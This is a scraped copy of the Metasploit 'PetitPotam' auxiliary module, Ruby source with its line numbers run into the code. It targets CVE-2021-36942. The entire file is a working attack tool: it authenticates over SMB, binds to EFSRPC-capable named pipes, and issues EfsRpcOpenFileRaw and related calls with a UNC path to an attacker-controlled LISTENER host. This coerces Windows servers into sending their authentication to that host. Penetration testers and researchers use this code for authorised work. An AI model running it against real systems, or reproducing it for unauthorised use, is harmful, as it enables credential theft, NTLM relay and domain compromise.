Path: blob/master/modules/auxiliary/scanner/dcerpc/petitpotam.rb
33008 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'8require 'ruby_smb/dcerpc/lsarpc'9require 'ruby_smb/dcerpc/efsrpc'1011class MetasploitModule < Msf::Auxiliary1213module EfsrpcOverLsarpc14include RubySMB::Dcerpc::Efsrpc1516UUID = RubySMB::Dcerpc::Efsrpc::LSARPC_UUID17end1819include Msf::Exploit::Remote::DCERPC20include Msf::Exploit::Remote::SMB::Client::Authenticated21include Msf::Auxiliary::Scanner22include Msf::Auxiliary::Report2324METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze25# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use26# Efsrpc and it's normal UUID27PIPE_HANDLES = {28lsarpc: {29endpoint: EfsrpcOverLsarpc,30filename: 'lsarpc'.freeze31},32efsrpc: {33endpoint: RubySMB::Dcerpc::Efsrpc,34filename: 'efsrpc'.freeze35},36samr: {37endpoint: RubySMB::Dcerpc::Lsarpc,38filename: 'samr'.freeze39},40lsass: {41endpoint: RubySMB::Dcerpc::Lsarpc,42filename: 'lsass'.freeze43},44netlogon: {45endpoint: RubySMB::Dcerpc::Lsarpc,46filename: 'netlogon'.freeze47}48}.freeze4950def initialize51super(52'Name' => 'PetitPotam',53'Description' => %q{54Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.55},56'Author' => [57'GILLES Lionel',58'Spencer McIntyre'59],60'References' => [61[ 'CVE', '2021-36942' ],62[ 'URL', 'https://github.com/topotam/PetitPotam' ],63[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ],64['ATT&CK', Mitre::Attack::Technique::T1187_FORCED_AUTHENTICATION],65['ATT&CK', Mitre::Attack::Technique::T1212_EXPLOITATION_FOR_CREDENTIAL_ACCESS]66],67'License' => MSF_LICENSE68)6970register_options(71[72OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),73OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),74OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])75]76)77end7879def run_host(_ip)80begin81connect82rescue Rex::ConnectionError => e83fail_with(Failure::Unreachable, e.message)84end8586begin87smb_login88rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e89fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")90end91report_service(service_data)9293begin94@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")95rescue RubySMB::Error::RubySMBError => e96raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."97end9899handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]100fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args101102# rename tree_file103@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)104handle = dcerpc_handle(105handle_args[:endpoint]::UUID,106handle_args.fetch(:version, '1.0'),107handle_args.fetch(:protocol, 'ncacn_np'),108["\\#{handle_args[:filename]}"]109)110vprint_status("Binding to #{handle} ...")111@pipe.bind(112endpoint: handle_args[:endpoint],113auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,114auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT115)116vprint_status("Bound to #{handle} ...")117118if datastore['METHOD'] == 'Automatic'119methods = METHODS120else121methods = [datastore['METHOD']]122end123124methods.each do |method|125vprint_status("Attempting to coerce authentication via #{method}")126response = efs_call(127method,128file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"129)130if response.nil?131unless method == methods.last132# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try133vprint_status("Rebinding to #{handle} ...")134@pipe.close135@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)136@pipe.bind(137endpoint: handle_args[:endpoint],138auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,139auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT140)141end142143next144end145146error_status = response.error_status.to_i147win32_error = ::WindowsError::Win32.find_by_retval(error_status).first148case win32_error149when ::WindowsError::Win32::ERROR_BAD_NETPATH150# this should be the response even if LISTENER was inaccessible151print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')152break153when nil154print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")155else156print_status("Server responded with #{win32_error.name} (#{win32_error.description})")157end158end159end160161def cleanup162if @pipe163@pipe.close164@pipe = nil165end166167if @tree168@tree.disconnect!169@tree = nil170end171172super173end174175def efs_call(name, **kwargs)176request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)177178begin179raw_response = @pipe.dcerpc_request(180request,181auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,182auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT183)184rescue Rex::Proto::DCERPC::Exceptions::Fault => e185print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."186return nil187end188189RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)190end191192def service_data193{194host: rhost,195port: rport,196host_name: simple.client.default_name,197proto: 'tcp',198name: 'smb',199info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"200}201end202end203204205